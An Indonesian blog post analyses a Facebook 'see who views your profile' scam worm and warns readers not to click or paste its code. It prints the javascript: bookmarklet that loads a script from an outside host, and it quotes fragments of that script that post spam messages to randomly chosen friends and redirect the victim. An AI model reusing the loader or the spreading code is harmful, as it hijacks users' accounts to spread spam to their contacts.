Si Ucok Polos Berbagi

Melanjutkan tulisan saya sebelumnya tentang pesan chat dari teman anda seperti :

‘(nama anda) pengen tau saipa aja yang Sering lihat profilemu? http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645′;

dan

‘(your name) See who views your profile http://www.facebook.com/pages/JEMPOLERs_LIKE/143364539065677?sk=app_106878476015645′;

Berikut adalah penjelasan dari script tersebut :
Pada saat anda klik link tersebut, anda akan dibawa ke halaman aplikasi Jempolers Indonesia.

Pada halaman tersebut, anda disuruh meng-copy kode unik.

javascript:(a=(b=document).createElement(‘script’)).src=’//www.zingapoker.byethost4.com/_.js’,b.body.appendChild(a);void(0)

Kode unik tersebut adalah sebuah kode javascript yang terhubung kode yang lain pada suatu alamat website yaitu “www.zingapoker.byethost4.com.
Jika kita buka alamat website tersebut, kita akan menemukan 4 buah komponen,  yaitu :

• .pureftpd-rename.36788.f8ccaee0
• _.js
• final.htm
• qwq.js

Tapi karena alamat link diatas di tutup dengan kode javascript, jika kita paste kode tersebut di atas pada browser, kita akan melihat tampilan konfirmasi untuk pemasangan aplikasi.
File “_.js” dan “qwq.js” merupakan file javascipt yang sama. Yang membedakan yaitu file “_.js” adalah bahasa indonesia, sedangkan file “qwq.js” untuk versi bahasa inggris.
Berikut adalah potongan isi dari file javascript tersebut :

var randomnumber=Math.floor(Math.random()*99999);
var chatmessage = '%firstname% pengen tau saipa aja yang Sering lihat profilemu?   <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var postmessage = 'wow...ternyata banyak juga yang suka lihat profileku y : \n\ %tf% - 436 views \n\ %tf% - 83 views \n\ %tf% - 42 views \n\ %tf% - 30 views \n\ pengen tau saipa aja yang Sering lihat profilemu? <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var redirect = '<a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645';</a>
var eventdesc = 'You can now see whos been on your page! \n\ \n\ Go here:  <a href="http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&'+randomnumber+'">http://www.facebook.com/JempolersIndonesia?sk=app_106878476015645&'+randomnumber+'</a> \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\ \n\'';
var eventname = 'See Who Likes You!';

Secara garis besar tujuan dari script itu :

• memilih secara acak teman-teman anda “var randomnumber” kemudian akan menampilkannya sebagai teman yang yang pernah melihat profil anda “var postmessage”.

Disitu terdapat string “%tf%”, dimana string ini yaitu teman-teman yang dipilih secara acak tadi dan menjalankan perintah pada line 219 yaitu mengirimi mereka pesan.

mt = postmessage;
m = postmessage;
while (mt['search']('%tf%') >= 0) {
var _0xaa04x32 = _0xaa04xd['pop']();
mt = mt['replace']('%tf%', _0xaa04x13(_0xaa04x32));
m = m['replace']('%tf%', _0xaa04x11(_0xaa04x32));
};

• Pesan chat yang dikirim ditentukan lewat variabel “var chatmessage” dengan isi pesan “pengen tau saipa aja yang Sering lihat profilemu? ”.
• Setelah menjalankan script tersebut, anda secara diam-diam di redirect lagi kembali ke halaman awal dengan perintah “var redirect =”.

Jadi jika anda menerima pesan chat ataupun message dari teman anda, jangan di klik, karena jika anda melakukan perintah pada halaman “Jempolers Indonesia”, bukan cuma anda sendiri, tapi teman-teman anda juga akan ikut dikirimi pesan, bahkan wall anda dan status anda juga akan ikut kena imbas dari script tersebut.